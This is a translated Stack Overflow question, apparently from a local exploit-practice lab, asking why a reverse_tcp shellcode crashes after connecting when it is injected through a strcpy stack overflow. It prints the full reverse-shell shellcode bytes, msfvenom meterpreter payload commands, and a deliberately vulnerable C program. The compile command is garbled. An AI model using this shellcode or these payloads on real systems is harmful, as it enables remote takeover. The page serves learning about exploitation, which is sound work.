为什么reverse_tcp Shellcode不起作用?

时间:2017-01-09 21:55:03

标签: stack-overflow buffer-overflow exploit shellcode

我正在使用这个shellcode:

\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\xc0\xa8\x0f\x81\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

来自http://shell-storm.org/shellcode/files/shellcode-883.php

当我执行.c程序时,它工作,它接收连接,我可以毫无问题地执行命令。

问题是从缓冲区溢出中注入它时,来自gdb:我收到连接(这意味着shellcode,offset和EIP都没问题)我正在使用正确的IP和PORT,但是正确离开,它只是崩溃。

我尝试过使用其他shellcode:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00' -f c

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00\xff\x09\x0a' -e x86/shikata_ga_nai -f c

我收到的连接很好,但是......马上就崩溃了,无法执行命令。

提到这是我的.c易受攻击的代码:

#include <string.h>
#include <stdio.h>

void func(char *arg){

    char nombre[90];
    strcpy(nombre,arg);
    printf ("\nBienvenido a Linux Exploiting %s\n\n", nombre);

}

int main (int argc, char *argv[]){

    if (argc != 2){

        printf ("Uso %s Nombre\n", argv[0]);
        exit(0);

    }

    func(argv[1]);
    printf("Fin del programa\n");
    return 0;
}

我注入:Shellcode +(102-74(或-98与metasploit有效载荷))x&#34; A&#34; + RET(我通过在strcpy之后设置一个中断来获得地址,然后获得缓冲区的确切位置并且我知道它有效,因为正如我所说,我收到了连接(如果我在任何地方改变一个字节,我不会#39;什么都没收到。)

我正在编译:{{1​​}}

0 个答案:

没有答案